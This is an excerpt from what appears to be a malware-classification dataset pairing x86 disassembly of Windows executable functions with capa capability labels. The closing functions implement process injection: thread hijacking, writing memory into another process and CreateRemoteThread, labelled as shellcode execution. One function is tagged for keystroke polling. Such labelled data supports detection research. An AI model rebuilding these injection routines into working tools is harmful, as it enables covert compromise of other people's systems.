joyce8/EMBER2024-capa huggingface dataset:
Function at 0x447b60
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x49c618
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x447b99
inc eax
mov dword [esi + 0x10], eax
jmp 0x447cac
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x447bad
mov eax, 0xffffffc7
jmp 0x447cae
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x447bbe
cmp dword [esi + 8], eax
jne 0x447bad
cmp dword [esi + 8], eax
jne 0x447bd7
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x447bd7
mov eax, 0xffffffc7
jmp 0x447cae
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x447beb
push eax
mov ecx, ebx
call fcn.00447390
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.00412600
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x447c1c
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.00412620
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.00446b00
test eax, eax
mov dword [esp + 0x38], eax
je 0x447c4f
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x4c52d0
call fcn.00412800
mov eax, dword [esp + 0x38]
jmp 0x447cae
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.004479c0
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x447c93
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.004479e0
mov esi, eax
test esi, esi
jne 0x447cc3
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.004479c0
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x447c65
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x4c52d0
call fcn.00412800
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x4c52d0
call fcn.00412800
mov eax, esi
jmp 0x447cae

Function at 0x44ade0
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x44ae40
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x44ae40
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x44ae40
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x44ae40
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x44ae80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x450340
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x49cc48
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.00494cf4
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.0044fce0
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.00494c22
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.004914e3
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.004914e3
push 1
push 0
push 0
mov ecx, esi
call fcn.0049148b
push 1
push 0
push 1
mov ecx, esi
call fcn.0049148b
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.00494d66
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x4504c0
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x49cc68
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.00494cf4
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.0044fce0
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.00494c22
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x450584
cmp dword [esp + 0x40], 1
jne 0x450582
cmp ecx, eax
jge 0x450584
mov eax, ecx
cmp eax, 0xc8
jge 0x450590
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.00450340
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.00494d66
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x450d00
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x49ccd3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.0048f904
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], vtable.CBrush.0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.00494f9c
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.004965f5
test eax, eax
je 0x450e1c
mov ecx, dword [esp + 0x3c]
call fcn.00494fc9
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x450de0
push edi
mov ecx, esi
call fcn.0049262e
mov ecx, esi
call fcn.00450f80
cmp dword [esp + 0x38], 1
jne 0x450e15
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.00492769
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x453840
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x453873
push esi
call fcn.00456940
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x45386c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x4538f9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x4538e2
mov eax, dword [esi + 8]
test eax, eax
je 0x453897
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x4538de
cmp eax, 2
je 0x4538e2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x45388a
cmp eax, 3
je 0x4538bd
cmp eax, 1
jne 0x45388a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x45388a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x45388a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00453920
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x453908
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00453920
add esp, 4
pop esi
ret

Function at 0x4618c0
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x461963
test eax, eax
jbe 0x461963
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x461963
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x46190e
xor esi, esi
jmp 0x461914
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x46193f
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.00412fa0
add esi, eax
push esi
mov ebx, esi
call fcn.00412fa0
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x461920
pop ebp
test edi, edi
pop edi
jne 0x461963
test ebx, ebx
je 0x461963
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.0047e950
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x461aa5
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x461bbd
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x461bbd
mov eax, dword [esi + 0x3c]
push eax
call fcn.0048fd56
mov esi, eax
test esi, esi
je 0x461bbd
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x461bbd
mov ecx, esi
call fcn.00461a10
cmp edi, eax
jge 0x461bbd
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x461b43
mov dword [esp + 0x34], 1
jmp 0x461b9e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x461bbd
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.00461010
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x4677bd
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x49d8d8
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov eax, dword [esp + 0x28]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov edx, dword [esi + 0x40]
test edx, edx
setne bl
inc ebx
test eax, eax
je 0x4677d3
or bh, 0x80
lea ecx, [esp + 0xc]
call fcn.0046d720
mov edx, dword [esp + 0x30]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x28], 0
push ecx
push edx
lea ecx, [esp + 0x14]
call fcn.0046d9e0
lea eax, [esp + 0xc]
push ebx
push eax
mov ecx, esi
call fcn.00467840
lea ecx, [esp + 0xc]
mov dword [esp + 0x28], 0xffffffff
mov dword [esp + 0xc], 0x4c9d48
call fcn.0046d920
mov ecx, dword [esp + 0x20]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 8
Function at 0x46c6b0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, dword [ebx + 0x13c]
push edi
test eax, eax
jle 0x46c6fc
mov eax, dword [ebx + 0x140]
test eax, eax
jle 0x46c6fc
mov ebp, dword [sym.imp.USER32.dll_GetKeyState]
xor esi, esi
lea edi, [ebx + 0x150]
mov eax, dword [edi]
test eax, eax
je 0x46c6e6
push eax
call ebp
test ax, ax
jl 0x46c6f4
inc esi
add edi, 4
cmp esi, 6
jb 0x46c6d8
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
mov ecx, ebx
call fcn.0046c3b0
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x46eef0
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x46ef50
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x46ef50
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x46ef50
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x46ef50
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x46ef60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x4906f9
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x490731
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0048e786
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0048e75e
jmp 0x49073d
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x491deb
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x491e2d
call fcn.00497be8
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x491e2d
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x491e24
xor eax, eax
jmp 0x491e35
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00491e3b
pop edi
pop esi
pop ebx
ret 4

Function at 0x498118
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x498146
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x498164
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0049807e
jmp 0x498164
mov eax, dword [esi + 0x14]
test eax, eax
je 0x498164
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0049807e
test edi, edi
mov eax, edi
jne 0x49814e
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x4010a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x46c
mov eax, dword [0x408030]
push ebx
push esi
push edi
mov dword [esp + 0x474], eax
call fcn.004018d0
test eax, eax
je 0x40127f
push 0
push 2
call dword [0x408c50]
mov esi, eax
xor eax, eax
cmp esi, 0xffffffff
je 0x4012af
mov ecx, 0x4a
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x20]
push eax
push esi
mov dword [esp + 0x28], 0x128
call dword [0x408c3c]
lea ecx, [esp + 0x20]
push ecx
push esi
mov byte [esp + 0x378], 0
call dword [0x408c44]
test eax, eax
je 0x401141
mov edx, dword [esp + 0x28]
cmp edx, dword [ebp + 8]
jne 0x401131
xor eax, eax
mov cl, byte [esp + eax + 0x44]
mov byte [esp + eax + 0x370], cl
inc eax
test cl, cl
jne 0x401121
lea eax, [esp + 0x20]
push eax
push esi
call dword [0x408c44]
test eax, eax
jne 0x401116
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [esp + 0x370]
test al, al
je 0x40127f
mov ecx, dword [ebp + 8]
push ecx
push 8
call dword [0x408c50]
mov esi, eax
xor eax, eax
cmp esi, 0xffffffff
je 0x4012af
mov ecx, 0x89
lea edi, [esp + 0x148]
rep stosd dword es:[edi], eax
xor edx, edx
lea eax, [esp + 0x148]
mov ebx, edx
push eax
mov edi, edx
push esi
mov dword [esp + 0x150], 0x224
mov dword [esp + 0x24], edx
call dword [0x408c4c]
lea ecx, [esp + 0x370]
push ecx
lea edx, [esp + 0x26c]
push edx
call fcn.00405598
add esp, 8
test eax, eax
jne 0x4011cc
mov ebx, dword [esp + 0x15c]
mov edi, dword [esp + 0x160]
lea eax, [esp + 0x148]
push eax
push esi
call dword [0x408c40]
test eax, eax
je 0x40121d
nop
lea ecx, [esp + 0x370]
push ecx
lea edx, [esp + 0x26c]
push edx
call fcn.00405598
add esp, 8
test eax, eax
jne 0x40120a
mov ebx, dword [esp + 0x15c]
mov edi, dword [esp + 0x160]
lea eax, [esp + 0x148]
push eax
push esi
call dword [0x408c40]
test eax, eax
jne 0x4011e0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x40127f
cmp edi, 0x2000
jb 0x401235
mov edi, 0x2000
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0x10
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [esp + 0x10], eax
je 0x40127f
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x40127f
mov edx, dword [esp + 0x10]
push 0x4082a0
push edi
push esi
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x401278
cmp word [esi], 0x5a4d
je 0x401294
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
mov ecx, dword [esp + 0x474]
call fcn.004019c5
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x3c]
cmp dword [eax + esi], 0x4550
push esi
jne 0x401279
mov edi, dword [eax + esi + 0x28]
add edi, ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, edi
mov ecx, dword [esp + 0x474]
call fcn.004019c5
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4012d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
sub esp, 0x118
mov eax, dword [0x408030]
push ebx
mov ebx, dword [esp + 0x124]
mov dword [esp + 0x118], eax
mov dword [0x408698], 0x10003
mov eax, dword [ebx + 4]
push 0x408698
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x40131b
pop ebx
mov ecx, dword [esp + 0x114]
call fcn.004019c5
add esp, 0x118
ret
mov ecx, dword [ebx + 8]
push ebp
push ecx
call fcn.004010a0
mov ebp, eax
add esp, 4
test ebp, ebp
je 0x4013a2
mov edx, dword [esp + 0x124]
push ebp
push edx
lea eax, [esp + 0x14]
push 0
push eax
call fcn.00401000
add esp, 0x10
test eax, eax
je 0x4013a2
push 0x110
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
test eax, eax
mov dword [0x408964], eax
je 0x4013a2
mov ecx, dword [ebx]
push 0x4082ac
push 0x40
push 0x110
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov edx, dword [0x408964]
mov eax, dword [ebx]
push 0x4082a0
push 0x110
push edx
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x4013b9
mov ecx, dword [0x408964]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x114]
call fcn.004019c5
add esp, 0x118
ret
mov eax, dword [ebx]
push 0x4082a8
push 0x110
lea edx, [esp + 0x14]
push edx
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401395
push esi
push edi
mov ecx, 0xb3
mov esi, 0x408698
mov edi, 0x408970
rep movsd dword es:[edi], dword [esi]
mov dword [0x408a28], ebp
mov edx, dword [ebx + 4]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp + 0xa]
mov dword [0x408584], eax
mov dword [0x4082b0], 0x10003
push 0x32
call esi
mov ecx, dword [ebx + 4]
push 0x4082b0
push ecx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, dword [0x408368]
cmp edx, dword [0x408584]
jne 0x401411
mov eax, dword [0x408360]
mov dword [0x4082a4], eax
mov ecx, dword [ebx + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov edx, dword [0x408964]
mov eax, dword [ebx]
push 0x4082a8
push 0x110
push edx
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
pop edi
pop esi
je 0x401395
mov edx, dword [0x408964]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [0x4082ac]
mov edx, dword [0x408968]
lea eax, [esp + 8]
push eax
mov eax, dword [ebx]
push ecx
push 0x110
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov dword [0x408750], ebp
mov ecx, dword [ebx + 4]
push 0x408698
push ecx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov ecx, dword [esp + 0x11c]
neg eax
sbb eax, eax
pop ebp
neg eax
pop ebx
call fcn.004019c5
add esp, 0x118
ret
Function at 0x4014d0
Capabilities:
Create thread
Terminate process

Disassembly:
sub esp, 0x11c
mov eax, dword [0x408030]
push ebx
push esi
push edi
push str.kernel32.dll
mov dword [esp + 0x128], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.VirtualAllocEx
push esi
call edi
push str.VirtualFreeEx
push esi
mov ebx, eax
call edi
mov edi, eax
test edi, edi
je 0x40164b
test ebx, ebx
je 0x40164b
mov esi, dword [esp + 0x130]
mov eax, dword [esi]
push 0x40
push 0x1000
push 0x111
push 0
push eax
call ebx
test eax, eax
mov dword [0x408968], eax
je 0x401570
mov ecx, dword [esp + 0x12c]
push eax
push ecx
lea edx, [esp + 0x18]
push edx
push 0
call fcn.00401000
mov ecx, dword [esi]
add esp, 0x10
test eax, eax
mov eax, dword [0x408968]
jne 0x401588
push 0x4000
push 0x111
push eax
push ecx
call edi
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x118]
call fcn.004019c5
add esp, 0x11c
ret
push 0x4082a8
push 0x111
lea edx, [esp + 0x18]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4015b9
push 0x4000
push 0x111
mov edx, dword [0x408968]
mov eax, dword [esi]
push edx
push eax
jmp 0x40156e
mov eax, dword [0x408968]
mov edx, dword [esi]
lea ecx, [esp + 0xc]
push ecx
push 0
push 0
push eax
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
test ebx, ebx
jne 0x4015f2
mov eax, dword [0x408968]
mov ecx, dword [esi]
push 0x4000
push 0x111
push eax
jmp 0x40156d
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x4082a4
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
push 0x4000
push 0x111
je 0x4015ad
mov ecx, dword [0x408968]
mov edx, dword [esi]
push ecx
push edx
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x4082a4]
xor eax, eax
pop edi
test ecx, ecx
mov ecx, dword [esp + 0x120]
pop esi
setne al
pop ebx
call fcn.004019c5
add esp, 0x11c
ret
push 0
push 0
push str.couldnt_import_virtualallocex
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]